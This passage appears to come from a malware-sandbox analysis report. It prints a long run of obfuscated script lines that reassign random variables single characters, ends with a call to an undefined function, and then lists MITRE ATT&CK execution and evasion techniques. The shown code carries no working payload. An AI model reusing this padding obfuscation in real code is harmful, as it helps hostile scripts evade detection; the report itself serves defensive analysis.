296	hdkkkqb = "X";
297	hdkkkqb = "M";
298	hdkkkqb = "Z";
299	hdkkkqb = "F";
300	hdkkkqb = "Y";
301	hdkkkqb = "y";
302	hdkkkqb = "R";
303	hdkkkqb = "U";
304	hdkkkqb = "S";
305	hdkkkqb = "t";
306	hdkkkqb = "x";
307	hdkkkqb = "c";
308	hdkkkqb = "T";
309	hdkkkqb = "U";
310	hdkkkqb = "w";
311	hdkkkqb = "k";
312	numztvoc = "W";
313	numztvoc = "G";
314	numztvoc = "t";
315	numztvoc = "c";
316	numztvoc = "b";
317	numztvoc = "Q";
318	numztvoc = "o";
319	numztvoc = "H";
320	numztvoc = "B";
321	numztvoc = "m";
322	numztvoc = "j";
323	numztvoc = "N";
324	numztvoc = "l";
325	numztvoc = "S";
326	numztvoc = "G";
327	numztvoc = "u";
328	numztvoc = "w";
329	numztvoc = "S";
330	numztvoc = "A";
331	numztvoc = "s";
332	numztvoc = "s";
333	numztvoc = "h";
334	cuvqfgabl = "E";
335	cuvqfgabl = "p";
336	cuvqfgabl = "Z";
337	cuvqfgabl = "V";
338	cuvqfgabl = "d";
339	cuvqfgabl = "E";
340	cuvqfgabl = "S";
341	cuvqfgabl = "T";
342	cuvqfgabl = "u";
343	cuvqfgabl = "K";
344	cuvqfgabl = "H";
345	cuvqfgabl = "J";
346	cuvqfgabl = "n";
347	cuvqfgabl = "t";
348	cuvqfgabl = "v";
349	cuvqfgabl = "p";
350	cuvqfgabl = "R";
351	cuvqfgabl = "I";
352	cuvqfgabl = "G";
353	cuvqfgabl = "B";
354	cuvqfgabl = "v";
355	cuvqfgabl = "Y";
356	cuvqfgabl = "_";
357	xeqgoflg = "n";
358	xeqgoflg = "m";
359	xeqgoflg = "D";
360	xeqgoflg = "W";
361	xeqgoflg = "D";
362	xeqgoflg = "k";
363	xeqgoflg = "D";
364	xeqgoflg = "j";
365	xeqgoflg = "a";
366	xeqgoflg = "K";
367	xeqgoflg = "m";
368	xeqgoflg = "M";
369	xeqgoflg = "G";
370	xeqgoflg = "q";
371	xeqgoflg = "S";
372	xeqgoflg = "S";
373	xeqgoflg = "g";
374	xeqgoflg = "v";
375	xeqgoflg = "V";
376	xeqgoflg = "y";
377	xeqgoflg = "O";
378	xeqgoflg = "A";
379	xeqgoflg = "d";
380	xeqgoflg = "I";
381	xeqgoflg = "p";
382	xeqgoflg = "x";
383	xeqgoflg = "p";
384	xeqgoflg = "f";
385	xeqgoflg = "g";
386	xeqgoflg = "E";
387	xeqgoflg = "w";
388	xeqgoflg = "q";
389	xeqgoflg = "W";
390	xeqgoflg = "B";
391	xeqgoflg = "I";
392	xeqgoflg = "r";
393	xeqgoflg = "o";
394	xeqgoflg = "H";
395	xeqgoflg = "&";
396	azwbw = "L";
397	azwbw = "k";
398	azwbw = "C";
399	azwbw = "B";
400	azwbw = "n";
401	azwbw = "a";
402	azwbw = "Z";
403	azwbw = "G";
404	azwbw = "P";
405	azwbw = "J";
406	azwbw = "s";
407	azwbw = "e";
408	azwbw = "F";
409	azwbw = "g";
410	azwbw = "q";
411	azwbw = "G";
412	azwbw = "g";
413	azwbw = "c";
414	azwbw = "E";
415	azwbw = "N";
416	azwbw = "g";
417	azwbw = "a";
418	azwbw = "e";
419	azwbw = "z";
420	azwbw = "T";
421	xtwikanr = "b";
422	xtwikanr = "n";
423	xtwikanr = "B";
424	xtwikanr = "Y";
425	xtwikanr = "P";
426	xtwikanr = "e";
427	xtwikanr = "P";
428	ffywqrwd = "a";
429	ffywqrwd = "w";
430	ffywqrwd = "Y";
431	ffywqrwd = "O";
432	ffywqrwd = "v";
433	ffywqrwd = "O";
434	ffywqrwd = "w";
435	ffywqrwd = "L";
436	ffywqrwd = "a";
437	ffywqrwd = "j";
438	ffywqrwd = "T";
439	ffywqrwd = "i";
440	ffywqrwd = "y";
441	ffywqrwd = "u";
442	ffywqrwd = "I";
443	ffywqrwd = "Q";
444	ffywqrwd = "l";
445	ffywqrwd = "f";
446	ffywqrwd = "M";
447	ffywqrwd = "C";
448	ffywqrwd = "M";
449	ffywqrwd = "G";
450	ffywqrwd = "D";
451	ffywqrwd = "n";
452	ffywqrwd = "M";
453	ffywqrwd = "j";
454	hveqwn = "W";
455	hveqwn = "e";
456	hveqwn = "O";
457	hveqwn = "A";
458	hveqwn = "F";
459	fkwvqek = "p";
460	fkwvqek = "K";
461	fkwvqek = "S";
462	fkwvqek = "q";
463	fkwvqek = "P";
464	fkwvqek = "U";
465	fkwvqek = "T";
466	fkwvqek = "N";
467	fkwvqek = "g";
468	fkwvqek = "T";
469	fkwvqek = "r";
470	fkwvqek = "q";
471	fkwvqek = "Z";
472	fkwvqek = "U";
473	fkwvqek = "v";
474	fkwvqek = "r";
475	fkwvqek = "O";
476	fkwvqek = "u";
477	fkwvqek = "H";
478	fkwvqek = "T";
479	fkwvqek = "F";
480	fkwvqek = "N";
481	fkwvqek = "k";
482	fkwvqek = "T";
483	fkwvqek = "i";
484	fkwvqek = "p";
485	fkwvqek = "l";
486	fkwvqek = "E";
487	fkwvqek = "e";
488	dzncpkr = "p";
489	dzncpkr = "O";
490	dzncpkr = "B";
491	dzncpkr = "f";
492	dzncpkr = "K";
493	dzncpkr = "w";
494	dzncpkr = "q";
495	xftuwn = "N";
496	xftuwn = "W";
497	xftuwn = "c";
498	xftuwn = "I";
499	xftuwn = "J";
500	xftuwn = "Z";
501	xftuwn = "N";
502	xftuwn = "B";
503	xftuwn = "s";
504	xftuwn = "s";
505	xftuwn = "b";
506	xftuwn = "G";
507	xftuwn = "Y";
508	xftuwn = "H";
509	xftuwn = "r";
510	xftuwn = "Q";
511	xftuwn = "t";
512	xftuwn = "b";
513	xftuwn = "u";
514	xftuwn = "A";
515	xftuwn = "J";
516	xftuwn = "p";
517	xftuwn = "y";
518	xftuwn = "Y";
519	xftuwn = "D";
520	xftuwn = "O";
521	xftuwn = "y";
522	xftuwn = "f";
523	xftuwn = "R";
524	xftuwn = "g";
525	xftuwn = "k";
526	xftuwn = "j";
527	xftuwn = "A";
528	xftuwn = "A";
529	xftuwn = "l";
530	xftuwn = "O";
531	xftuwn = "u";
532	xftuwn = "m";
533	utwnq = "O";
534	utwnq = "K";
535	utwnq = "q";
536	utwnq = "e";
537	utwnq = "W";
538	utwnq = "N";
539	utwnq = "d";
540	utwnq = "Q";
541	utwnq = "E";
542	utwnq = "e";
543	utwnq = "B";
544	utwnq = "O";
545	utwnq = "V";
546	utwnq = "C";
547	utwnq = "n";
548	utwnq = "c";
549	pgkdkucvk = "k";
550	pgkdkucvk = "y";
551	pgkdkucvk = "V";
552	pgkdkucvk = "x";
553	pgkdkucvk = "n";
554	pgkdkucvk = "y";
555	pgkdkucvk = "h";
556	pgkdkucvk = "R";
557	pgkdkucvk = "f";
558	pgkdkucvk = "G";
559	pgkdkucvk = "Y";
560	pgkdkucvk = "X";
561	pgkdkucvk = "q";
562	pgkdkucvk = "X";
563	pgkdkucvk = "d";
564	pgkdkucvk = "N";
565	pgkdkucvk = "y";
566	pgkdkucvk = "E";
567	pgkdkucvk = "U";
568	pgkdkucvk = "z";
569	pgkdkucvk = "b";
570	pgkdkucvk = "D";
571	pgkdkucvk = "F";
572	pgkdkucvk = "x";
573	pgkdkucvk = "p";
574	pgkdkucvk = "H";
575	pgkdkucvk = "n";
576	pgkdkucvk = "K";
577	pgkdkucvk = "/";
578	eqshmre = "j";
579	eqshmre = "d";
580	tiulwoda = "i";
581	tiulwoda = "U";
582	tiulwoda = "x";
583	tiulwoda = "y";
584	tiulwoda = "Q";
585	tiulwoda = "E";
586	tiulwoda = "a";
587	tiulwoda = "q";
588	tiulwoda = "S";
589	tiulwoda = "e";
590	tiulwoda = "V";
591	tiulwoda = "B";
592	tiulwoda = "c";
593	tiulwoda = "l";
594	tiulwoda = "m";
595	tiulwoda = "z";
596	tiulwoda = "R";
597	tiulwoda = "L";
598	tiulwoda = "B";
599	tiulwoda = "c";
600	tiulwoda = "N";
601	tiulwoda = "K";
602	tiulwoda = "y";
603	tiulwoda = "q";
604	tiulwoda = "f";
605	tiulwoda = "t";
606	tiulwoda = "H";
607	tiulwoda = "Y";
608	tiulwoda = "F";
609	tiulwoda = "a";
610	tiulwoda = "d";
611	tiulwoda = "u";
612	tiulwoda = "c";
613	tiulwoda = "Z";
614	tiulwoda = "e";
615	tiulwoda = "F";
616	tiulwoda = "U";
617	tiulwoda = "g";
618	tiulwoda = "Q";
619	tiulwoda = "d";
620	tiulwoda = "A";
621	tiulwoda = "b";
622	tiulwoda = "C";
623	hsxfcsd = "X";
624	hsxfcsd = "s";
625	hsxfcsd = "v";
626	gqarpz = "b";
627	gqarpz = "Q";
628	gqarpz = "U";
629	gqarpz = "l";
630	gqarpz = "w";
631	gqarpz = "u";
632	gqarpz = "k";
633	gqarpz = "A";
634	gqarpz = "H";
635	gqarpz = "e";
636	gqarpz = "K";
637	gqarpz = "u";
638	gqarpz = "T";
639	gqarpz = "w";
640	gqarpz = "A";
641	gqarpz = "G";
642	gqarpz = "v";
643	gqarpz = "1";
644	qewmzv = "f";
645	qewmzv = "M";
646	qewmzv = "L";
647	qewmzv = "u";
648	qewmzv = "e";
649	qewmzv = "c";
650	qewmzv = "U";
651	qewmzv = "t";
652	qewmzv = "W";
653	qewmzv = "e";
654	qewmzv = "U";
655	qewmzv = "s";
656	qewmzv = "Z";
657	qewmzv = "O";
658	qewmzv = "f";
659	akyhy = "W";
660	akyhy = "V";
661	akyhy = "d";
662	akyhy = "e";
663	akyhy = "X";
664	akyhy = "j";
665	akyhy = "m";
666	akyhy = "d";
667	akyhy = "P";
668	akyhy = "A";
669	akyhy = "s";
670	akyhy = "C";
671	akyhy = "A";
672	akyhy = "o";
673	akyhy = "W";
674	akyhy = "T";
675	akyhy = "o";
676	akyhy = "L";
677	akyhy = "F";
678	akyhy = "o";
679	akyhy = "f";
680	akyhy = "m";
681	akyhy = "c";
682	akyhy = "J";
683	akyhy = "N";
684	akyhy = "U";
685	akyhy = "P";
686	akyhy = "M";
687	akyhy = "I";
688	akyhy = "t";
689	akyhy = "e";
690	akyhy = "O";
691	akyhy = "k";
692	akyhy = "y";
693	akyhy = "X";
694	akyhy = "L";
695	akyhy = "y";
696	akyhy = "P";
697	akyhy = "g";
698	akyhy = "O";
699	akyhy = "e";
700	akyhy = "T";
701	akyhy = "L";
702	akyhy = "U";
703	akyhy = "Q";
704	veruo = "r";
705	veruo = "t";
706	veruo = "Q";
707	veruo = "w";
708	veruo = "y";
709	veruo = "G";
710	veruo = "o";
711	veruo = "Q";
712	veruo = "y";
713	veruo = "M";
714	veruo = "c";
715	veruo = "M";
716	veruo = "s";
717	veruo = "G";
718	veruo = "I";
719	veruo = "q";
720	veruo = "I";
721	wvpgywl = "t";
722	wvpgywl = "w";
723	wvpgywl = "j";
724	wvpgywl = "b";
725	wvpgywl = "F";
726	wvpgywl = "k";
727	wvpgywl = "Y";
728	wvpgywl = "f";
729	wvpgywl = "B";
730	wvpgywl = "Z";
731	wvpgywl = "r";
732	wvpgywl = "l";
733	wvpgywl = "s";
734	wvpgywl = "t";
735	wvpgywl = "f";
736	wvpgywl = "r";
737	wvpgywl = "I";
738	wvpgywl = "Z";
739	wvpgywl = "q";
740	wvpgywl = "f";
741	wvpgywl = "Q";
742	wvpgywl = "Q";
743	wvpgywl = "e";
744	wvpgywl = "v";
745	wvpgywl = "B";
746	wvpgywl = "j";
747	wvpgywl = "z";
748	wvpgywl = "r";
749	wvpgywl = "C";
750	wvpgywl = "x";
751	wvpgywl = "f";
752	wvpgywl = "o";
753	wvpgywl = "f";
754	wvpgywl = "F";
755	wvpgywl = "Z";
756	wvpgywl = "n";
757	wvpgywl = "K";
758	wvpgywl = "x";
759	ykpeaw = "N";
760	ykpeaw = "E";
761	ykpeaw = "v";
762	ykpeaw = "J";
763	ykpeaw = "T";
764	ykpeaw = "Y";
765	ykpeaw = "i";
766	ykpeaw = "C";
767	ykpeaw = "M";
768	ykpeaw = "p";
769	lrjltnpif = "z";
770	lrjltnpif = "B";
771	lrjltnpif = "u";
772	lrjltnpif = "z";
773	lrjltnpif = "L";
774	lrjltnpif = "u";
775	lrjltnpif = "K";
776	lrjltnpif = "X";
777	lrjltnpif = "n";
778	lrjltnpif = "l";
779	lrjltnpif = "r";
780	lrjltnpif = "I";
781	lrjltnpif = "u";
782	lrjltnpif = "G";
783	lrjltnpif = "O";
784	lrjltnpif = "a";
785	lrjltnpif = "Y";
786	lrjltnpif = "F";
787	lrjltnpif = "h";
788	lrjltnpif = "g";
789	lrjltnpif = "H";
790	lrjltnpif = "C";
791	lrjltnpif = "s";
792	ahdtbuo = "l";
793	ahdtbuo = "u";
794	ahdtbuo = "m";
795	ahdtbuo = "d";
796	ahdtbuo = "p";
797	ahdtbuo = "P";
798	ahdtbuo = "n";
799	ahdtbuo = "y";
800	ahdtbuo = "W";
801	ahdtbuo = "z";
802	ahdtbuo = "X";
803	ahdtbuo = "e";
804	ahdtbuo = "l";
805	ahdtbuo = "K";
806	ahdtbuo = "p";
807	ahdtbuo = "u";
808	ahdtbuo = "W";
809	ahdtbuo = "o";
810	ahdtbuo = "C";
811	ahdtbuo = "R";
812	ahdtbuo = "Q";
813	ahdtbuo = "D";
814	ahdtbuo = "K";
815	ahdtbuo = "O";
816	ahdtbuo = "X";
817	ahdtbuo = "t";
818	ahdtbuo = "9";
819	oqltlqfo = "C";
820	oqltlqfo = "Y";
821	oqltlqfo = "m";
822	oqltlqfo = "n";
823	oqltlqfo = "w";
824	oqltlqfo = "M";
825	oqltlqfo = "A";
826	oqltlqfo = "R";
827	oqltlqfo = "A";
828	oqltlqfo = "Y";
829	oqltlqfo = "S";
830	oqltlqfo = "d";
831	oqltlqfo = "S";
832	oqltlqfo = "q";
833	oqltlqfo = "c";
834	oqltlqfo = "Q";
835	oqltlqfo = "I";
836	oqltlqfo = ".";
837	btehdmqs = "Y";
838	btehdmqs = "u";
839	btehdmqs = "e";
840	btehdmqs = "S";
841	btehdmqs = "h";
842	btehdmqs = "k";
843	btehdmqs = "l";
844	btehdmqs = "W";
845	btehdmqs = "c";
846	btehdmqs = "V";
847	btehdmqs = "x";
848	btehdmqs = "I";
849	btehdmqs = "m";
850	btehdmqs = "w";
851	bthmina = "g";
852	bthmina = "X";
853	bthmina = "l";
854	bthmina = "y";
855	bthmina = "I";
856	bthmina = "f";
857	bthmina = "a";
858	bthmina = "D";
859	bthmina = "H";
860	bthmina = "K";
861	bthmina = "H";
862	bthmina = "E";
863	bthmina = "j";
864	bthmina = "D";
865	bthmina = "E";
866	bthmina = "I";
867	bthmina = "T";
868	bthmina = "u";
869	hfvjv = "G";
870	hfvjv = "c";
871	hfvjv = "N";
872	hfvjv = "B";
873	hfvjv = "K";
874	hfvjv = "Q";
875	hfvjv = "z";
876	hfvjv = "Q";
877	hfvjv = "a";
878	hfvjv = "Y";
879	hfvjv = "t";
880	hfvjv = "B";
881	hfvjv = "y";
882	hfvjv = "x";
883	hfvjv = "H";
884	hfvjv = "g";
885	hfvjv = "z";
886	hfvjv = "C";
887	hfvjv = "t";
888	hfvjv = "a";
889	yerpcz = "a";
890	yerpcz = "w";
891	yerpcz = "Q";
892	yerpcz = "y";
893	yerpcz = "F";
894	yerpcz = "O";
895	yerpcz = "F";
896	yerpcz = "F";
897	yerpcz = "B";
898	yerpcz = "L";
899	yerpcz = "F";
900	yerpcz = "Q";
901	yerpcz = "q";
902	yerpcz = "T";
903	yerpcz = "D";
904	yerpcz = "w";
905	yerpcz = "f";
906	yerpcz = "U";
907	yerpcz = "w";
908	yerpcz = "o";
909	yerpcz = "L";
910	yerpcz = "z";
911	yerpcz = "F";
912	yerpcz = "A";
913	yerpcz = "j";
914	yerpcz = "c";
915	yerpcz = "D";
916	yerpcz = "c";
917	yerpcz = "M";
918	yerpcz = "j";
919	yerpcz = "t";
920	yerpcz = "n";
921	yerpcz = "q";
922	yerpcz = "n";
923	yerpcz = "g";
924	yerpcz = "L";
925	tchnf = "a";
926	tchnf = "Y";
927	tchnf = "G";
928	tchnf = "i";
929	tchnf = "A";
930	tchnf = "e";
931	tchnf = "f";
932	tchnf = "t";
933	tchnf = "X";
934	tchnf = "m";
935	tchnf = "J";
936	tchnf = "p";
937	tchnf = "r";
938	tchnf = "q";
939	tchnf = "R";
940	tchnf = "Z";
941	tchnf = "K";
942	tchnf = "B";
943	tchnf = "O";
944	tchnf = "r";
945	tchnf = "n";
946	tchnf = "r";
947	tchnf = "O";
948	tchnf = "X";
949	tchnf = "l";
950	yfwkbj = "W";
951	yfwkbj = "j";
952	yfwkbj = "y";
953	yfwkbj = "x";
954	yfwkbj = "G";
955	yfwkbj = "p";
956	yfwkbj = "b";
957	yfwkbj = "m";
958	yfwkbj = "S";
959	yfwkbj = "6";
960	phjtxi = "R";
961	phjtxi = "C";
962	phjtxi = "k";
963	phjtxi = "Q";
964	phjtxi = "A";
965	phjtxi = "R";
966	phjtxi = "P";
967	phjtxi = "q";
968	phjtxi = "n";
969	phjtxi = "P";
970	phjtxi = "w";
971	phjtxi = "L";
972	phjtxi = "y";
973	phjtxi = "I";
974	phjtxi = "o";
975	phjtxi = "m";
976	phjtxi = "V";
977	phjtxi = "a";
978	phjtxi = "U";
979	phjtxi = "S";
980	phjtxi = "I";
981	phjtxi = "Y";
982	phjtxi = "o";
983	phjtxi = "K";
984	aauazx = "o";
985	aauazx = "z";
986	aauazx = "D";
987	aauazx = "Z";
988	aauazx = "m";
989	aauazx = "y";
990	aauazx = "N";
991	aauazx = "g";
992	aauazx = "W";
993	aauazx = "c";
994	aauazx = "c";
995	aauazx = "a";
996	aauazx = "F";
997	aauazx = "Z";
998	aauazx = "v";
999	aauazx = "M";
1000	aauazx = "-";
1001	dgulqsde = "s";
1002	dgulqsde = "y";
1003	dgulqsde = "l";
1004	dgulqsde = "g";
1005	dgulqsde = "t";
1006	dgulqsde = "R";
1007	dgulqsde = "F";
1008	dgulqsde = "j";
1009	dgulqsde = "T";
1010	dgulqsde = "G";
1011	dgulqsde = "Y";
1012	dgulqsde = "m";
1013	dgulqsde = "n";
1014	dgulqsde = "K";
1015	dgulqsde = "r";
1016	dgulqsde = "M";
1017	dgulqsde = "r";
1018	dgulqsde = "M";
1019	dgulqsde = "z";
1020	dgulqsde = "X";
1021	dgulqsde = "N";
1022	dgulqsde = "y";
1023	dgulqsde = "t";
1024	dgulqsde = "s";
1025	dgulqsde = "G";
1026	dgulqsde = "p";
1027	dgulqsde = "S";
1028	dgulqsde = "l";
1029	dgulqsde = "c";
1030	dgulqsde = "j";
1031	dgulqsde = "Q";
1032	dgulqsde = "e";
1033	dgulqsde = "C";
1034	dgulqsde = "j";
1035	dgulqsde = "f";
1036	dgulqsde = "c";
1037	dgulqsde = "z";
1038	dgulqsde = "q";
1039	dgulqsde = "S";
1040	dgulqsde = "%";
1041	xtrhcrnf = "o";
1042	xtrhcrnf = "z";
1043	xtrhcrnf = "j";
1044	xtrhcrnf = "e";
1045	xtrhcrnf = "d";
1046	xtrhcrnf = "E";
1047	xtrhcrnf = "r";
1048	xtrhcrnf = "h";
1049	xtrhcrnf = "v";
1050	xtrhcrnf = "H";
1051	xtrhcrnf = "l";
1052	xtrhcrnf = "O";
1053	xtrhcrnf = "K";
1054	xtrhcrnf = "c";
1055	xtrhcrnf = "i";
1056	xtrhcrnf = "F";
1057	xtrhcrnf = "O";
1058	xtrhcrnf = "G";
1059	xtrhcrnf = "S";
1060	xtrhcrnf = "Z";
1061	xtrhcrnf = "Q";
1062	xtrhcrnf = "z";
1063	xtrhcrnf = "N";
1064	xtrhcrnf = "K";
1065	xtrhcrnf = "e";
1066	xtrhcrnf = "U";
1067	xtrhcrnf = "S";
1068	xtrhcrnf = "S";
1069	xtrhcrnf = "D";
1070	xtrhcrnf = "w";
1071	xtrhcrnf = "l";
1072	xtrhcrnf = "Q";
1073	xtrhcrnf = "D";
1074	xtrhcrnf = "\"";
1075	cauqqd = "a";
1076	cauqqd = "b";
1077	cauqqd = "B";
1078	cauqqd = "n";
1079	cauqqd = "K";
1080	cauqqd = "E";
1081	ufpgxz = "4";
1082	guyzs = "s";
1083	guyzs = "q";
1084	guyzs = "q";
1085	guyzs = "f";
1086	guyzs = "A";
1087	guyzs = "n";
1088	guyzs = "X";
1089	guyzs = "M";
1090	guyzs = "I";
1091	guyzs = "j";
1092	guyzs = "W";
1093	guyzs = "l";
1094	guyzs = "F";
1095	guyzs = "N";
1096	guyzs = "Z";
1097	guyzs = "E";
1098	guyzs = "D";
1099	guyzs = "h";
1100	guyzs = "X";
1101	guyzs = "d";
1102	guyzs = "f";
1103	guyzs = "p";
1104	guyzs = "W";
1105	guyzs = "b";
1106	guyzs = "l";
1107	guyzs = "y";
1108	guyzs = "p";
1109	guyzs = "X";
1110	guyzs = "P";
1111	guyzs = "z";
1112	guyzs = "M";
1113	guyzs = "O";
1114	guyzs = "b";
1115	guyzs = "U";
1116	freclfw = "h";
1117	freclfw = "g";
1118	freclfw = "V";
1119	freclfw = "q";
1120	freclfw = "o";
1121	freclfw = "m";
1122	freclfw = "g";
1123	freclfw = "R";
1124	freclfw = "Z";
1125	freclfw = "A";
1126	freclfw = "o";
1127	freclfw = "j";
1128	freclfw = "F";
1129	freclfw = "y";
1130	freclfw = "V";
1131	freclfw = "D";
1132	freclfw = "c";
1133	freclfw = "Y";
1134	ieqopj = "q";
1135	ieqopj = "q";
1136	ieqopj = "E";
1137	ieqopj = "u";
1138	ieqopj = "B";
1139	ieqopj = "Q";
1140	ieqopj = "v";
1141	ieqopj = "t";
1142	ieqopj = "w";
1143	ieqopj = "s";
1144	ieqopj = "F";
1145	ieqopj = "r";
1146	ieqopj = "i";
1147	ieqopj = "m";
1148	ieqopj = "b";
1149	ieqopj = "m";
1150	ieqopj = "G";
1151	ieqopj = "B";
1152	ieqopj = "k";
1153	ieqopj = "q";
1154	ieqopj = "x";
1155	ieqopj = "a";
1156	ieqopj = "Q";
1157	ieqopj = "c";
1158	ieqopj = "S";
1159	ieqopj = "e";
1160	ieqopj = "j";
1161	ieqopj = "m";
1162	ieqopj = "z";
1163	ieqopj = "e";
1164	ieqopj = "a";
1165	ieqopj = "p";
1166	ieqopj = "C";
1167	ieqopj = "q";
1168	ieqopj = "N";
1169	ieqopj = "G";
1170	ieqopj = "N";
1171	ieqopj = "k";
1172	ieqopj = "n";
1173	ieqopj = "O";
1174	ieqopj = "C";
1175	ieqopj = "L";
1176	ieqopj = "\\";
1177	ihvvw = ":";
1178	uvwpyj = "F";
1179	uvwpyj = "n";
1180	uvwpyj = "j";
1181	uvwpyj = "Y";
1182	uvwpyj = "X";
1183	uvwpyj = "H";
1184	uvwpyj = "A";
1185	uvwpyj = "v";
1186	uvwpyj = "l";
1187	uvwpyj = "O";
1188	uvwpyj = "a";
1189	uvwpyj = "a";
1190	uvwpyj = "s";
1191	uvwpyj = "N";
1192	uvwpyj = "B";
1193	uvwpyj = "i";
1194	uvwpyj = "z";
1195	uvwpyj = "l";
1196	uvwpyj = "T";
1197	uvwpyj = "@";
1198	sxlvmxcl = "l";
1199	sxlvmxcl = "Z";
1200	sxlvmxcl = "C";
1201	sxlvmxcl = "N";
1202	sxlvmxcl = "S";
1203	sxlvmxcl = "f";
1204	sxlvmxcl = "t";
1205	sxlvmxcl = "y";
1206	sxlvmxcl = "a";
1207	sxlvmxcl = "E";
1208	sxlvmxcl = "g";
1209	sxlvmxcl = "Y";
1210	sxlvmxcl = "X";
1211	sxlvmxcl = "l";
1212	sxlvmxcl = "Q";
1213	sxlvmxcl = "B";
1214	sxlvmxcl = "i";
1215	sxlvmxcl = "b";
1216	sxlvmxcl = "P";
1217	sxlvmxcl = "l";
1218	sxlvmxcl = "P";
1219	sxlvmxcl = "P";
1220	sxlvmxcl = "O";
1221	sxlvmxcl = "G";
1222	sxlvmxcl = "k";
1223	sxlvmxcl = "w";
1224	sxlvmxcl = "q";
1225	sxlvmxcl = "U";
1226	sxlvmxcl = "H";
1227	sxlvmxcl = "D";
1228	sxlvmxcl = "d";
1229	sxlvmxcl = "e";
1230	sxlvmxcl = "u";
1231	sxlvmxcl = "A";
1232	sxlvmxcl = "i";
1233	sxlvmxcl = "f";
1234	sxlvmxcl = "v";
1235	sxlvmxcl = "e";
1236	sxlvmxcl = "O";
1237	sxlvmxcl = "o";
1238	sxlvmxcl = "r";
1239	qticz = "U";
1240	qticz = "R";
1241	defjg = "r";
1242	defjg = "k";
1243	defjg = "I";
1244	defjg = "G";
1245	defjg = "r";
1246	defjg = "K";
1247	defjg = "P";
1248	defjg = "g";
1249	defjg = "O";
1250	defjg = "K";
1251	defjg = "p";
1252	defjg = "H";
1253	defjg = "f";
1254	defjg = "X";
1255	defjg = "g";
1256	defjg = "h";
1257	defjg = "s";
1258	defjg = "H";
1259	uinvyxx = "C";
1260	uinvyxx = "N";
1261	ijcutb = "v";
1262	ijcutb = "Z";
1263	ijcutb = "D";
1264	ijcutb = "n";
1265	ijcutb = "R";
1266	ijcutb = "L";
1267	ijcutb = "A";
1268	ijcutb = "G";
1269	ijcutb = "E";
1270	ijcutb = "S";
1271	ijcutb = "d";
1272	ijcutb = "W";
1273	ijcutb = "s";
1274	ijcutb = "E";
1275	ijcutb = "r";
1276	ijcutb = "H";
1277	ijcutb = "a";
1278	ijcutb = "O";
1279	ijcutb = "8";
1280	dwwvexes = "W";
1281	dwwvexes = "b";
1282	dwwvexes = "r";
1283	dwwvexes = "d";
1284	dwwvexes = "b";
1285	dwwvexes = "K";
1286	dwwvexes = "G";
1287	dwwvexes = "D";
1288	dwwvexes = "A";
1289	dwwvexes = "2";
1290	ojwovwej = "n";
1291	ojwovwej = "w";
1292	ojwovwej = "j";
1293	ojwovwej = "U";
1294	ojwovwej = "J";
1295	ojwovwej = "M";
1296	ojwovwej = "V";
1297	ojwovwej = "f";
1298	ojwovwej = "X";
1299	ojwovwej = "d";
1300	ojwovwej = "Q";
1301	ojwovwej = "c";
1302	ojwovwej = "R";
1303	ojwovwej = "m";
1304	ojwovwej = "e";
1305	ojwovwej = "s";
1306	ojwovwej = "v";
1307	ojwovwej = "Y";
1308	ojwovwej = "F";
1309	ojwovwej = "P";
1310	ojwovwej = "n";
1311	ojwovwej = "m";
1312	ojwovwej = "c";
1313	ojwovwej = "o";
1314	ojwovwej = "J";
1315	ojwovwej = "N";
1316	ojwovwej = "w";
1317	ojwovwej = "x";
1318	ojwovwej = "b";
1319	gglazbv = "F";
1320	gglazbv = "y";
1321	gglazbv = "z";
1322	gglazbv = "t";
1323	gglazbv = "s";
1324	gglazbv = "d";
1325	gglazbv = "P";
1326	gglazbv = "E";
1327	gglazbv = "Z";
1328	gglazbv = "o";
1329	gglazbv = "w";
1330	gglazbv = "5";
1331	dpufrgew ( );	dpufrgew() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
